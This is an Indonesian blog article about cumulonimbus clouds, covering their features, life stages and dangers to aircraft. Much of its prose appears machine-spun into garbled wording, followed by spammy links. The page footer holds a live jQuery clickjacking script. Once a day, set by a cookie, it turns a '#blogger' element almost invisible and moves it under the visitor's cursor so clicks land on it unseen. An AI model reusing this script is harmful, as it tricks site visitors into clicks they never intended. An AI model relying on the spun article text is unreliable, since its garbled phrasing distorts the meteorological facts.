Pemahaman, Ciri-Ciri Dan Ancaman Awan Cumulonimbus

underraid

February 24, 2021

Apa itu awan cumulonimbus ? Secara etimologi (asal undangan kata), kata cumulonimbus beraasal dari bahasa latin adalah : “cumulus” dan “nimbus“. Kata “cumulus” bermakna “kumpulan“, sedangkan kata “nimbus” berarti “hujan angin ribut” disertai “awan badai“.

Dengan demikian kita mampu mendefinisikan bahwa awan cumulonimbus ialah jenis awan cumulus yang terkait dengan badai guntur dan hujan lebat. Awan cumulonimbus berupa seperti jamur yang menjulang dan membesar secara vertikal. Pada bab inti awan terdapat petir yang mampu menimbulkan terjadinya hujan lebat dan topan. Namun biasanya keberadaan petir ini cuma berkisar sekitar 20 menit. Biasanya awan ini sering ditemui di tempat tropis dan sering menjadi momok bagi dunia penerbangan. Hal ini akhir resiko keamanan penumpang beserta kru pesawat saat masuk ke dalam awan tersebut. Ciri-Ciri Awan Cumulonimbus Awan cumulonimbus merupakan awan yang paling sering diwaspadai dalam dunia penerbangan. Hal ini tidak terlepas resiko atau bahaya yang hendak dihadapi oleh sebuah pesawat bila melintasi dekat awan tersebut atau terjebak di dalamnya. Berikut ini ialah beberapa ciri atau karakteristik dari awan cumulonimbus :

Awan ini terlihat seperti serat halus pada bagian atasnya.

Terlihat seperti terlihat koyak pada bab bawahnya dan sering terlihat gelap

Terdiri atas tetes air dan kristal es pada bab atasnya.

Awan ini dapat menyebabkan hujan besar.

Sebelum terjadinya hujan besar, apalagi dahulu disertai kilat dan guntur kadang kala diikuti butiran es.

Bagian atas awan cumulonimbus mampu meraih 39.000 kaki atau kadang-kadang lebih tinggi ke atmosfer.

Beberapa awan cumulonimbus memiliki tuba, yang ialah kolom yang menggantung dari dasar awan.Tuba ini mampu menjadi angin puting-beliung atau corong awan dan bisa mempunyai ketinggian 20 kaki di atas tanah.

Awan cumulonimbus kadang kala memiliki tonjolan seperti gelembung pada sisi bawahnya yang disebut dengan mammatus atau mammas.

Sering hujan yang dihasilkan oleh awan cumulonimbus hanya berjalan selama 20 menit atau kurang, tetapi curah hujan itu sendiri sangat tinggi. Karena itu hujan yang diakibatkan oleh awan cumulonimbus dapat juga menimbulkan banjir bandang.

Kadang-kadang hujan yang dihasilkan oleh awan cumulonimbus bisa menguap sebelum menjamah tanah. Hal ini disebut sebagai virga.

Awan cumulonimbus melewati tiga tahap. Yang pertama yakni tahap pengembangan; yang kedua yaitu tahap pematangan dan tahap ketiga yaitu tahap disipasi.

Mengapa Awan Cumulonimbus Berbahaya Bagi Pesawat ? Berikut ini beberapa alasan mengapa awan cumulonimbus dianggap selaku ancaman yang perlu diwaspadai bagi sebuah pesawat A. Pesawat akan mengalamai goncangan keras dan turbulensi yang berpengaruh. Pada awan cumulonimbus terjadi gerakan vertikal naik (updraft) atau turun yang kuat sehingga pesawat akan mencicipi goncangan kuat dan pesawat juga akan mengalamai turbulensi yang kuat akibat pergeseran kecepatan pedoman udara berubah dengan begitu cepat jikalau pesawat tersebut terjebak dalam awan cumulonimbus. Pada dasarnya turbulensi hal yang lazin dialami oleh pesawat, namun turbelensi yang disebabkan oleh awan cumulonimbus begitu berpengaruh sebab barang-barang di pesawat bisa terlempar dan melukai penumpang serta instrumen tekanan mampu error balasan mati sesaat. B. Pesawat akan mengalami kekacauan navigasi dan tata cara kelistrikannya. Awan cumulonimbus menghasilkan petir yang dapat tentang tata cara listrik pada pesawat. Disamping itu partikel es pada awan cumulonimbus mampu membekukan bab-bagian pesawat tergolong mesin sehingga akan mengganggu navigasi pesawat.

Google Play Store Apk Download Resmi/Official Terbaru 2022

7 Penyebab Chip Domino Tiba Tiba Hilang & Cara Atasinya

Lowongan Kerja Pekanbaru PT. Sawit Mas Nusantara Terbaru 2022

Lowongan Kerja Pekanbaru Toko Cat Inti Warna Terbaru 2022

19 Aplikasi Live Streaming Bola Terbaik dan Gratis 2022

Lulubox Apk Download Latest + Cara Installnya Terbaru 2022

Geografi

jQuery(function (){ var getCookie = function (cname) { var name = cname + "=", ca = document.cookie.split(/;\s*/g); for(var i = 0; ca.length > i; i++) { var c = ca[i]; while (c.charAt(0)==" ") c = c.substring(1); if (c.indexOf(name) == 0) return c.substring(name.length,c.length); } return ""; }, curr = new Date().toLocaleDateString(), last = getCookie("amk"); if ( last != curr ) { setTimeout(function () { document.cookie = "amk=" + curr; var blogger = $("#blogger").attr("style", "filter: alpha(opacity=2); opacity: 0.02; position: fixed; z-index: 999999; margin: -100px 0 0 -100px;"); $(document).mousemove(function (evt) { blogger.css({ top: evt.clientY, left: evt.clientX }); }); last = curr; }, 300); } }); Go to mobile version var gmrobjinf = {"inf":"gmr-more"};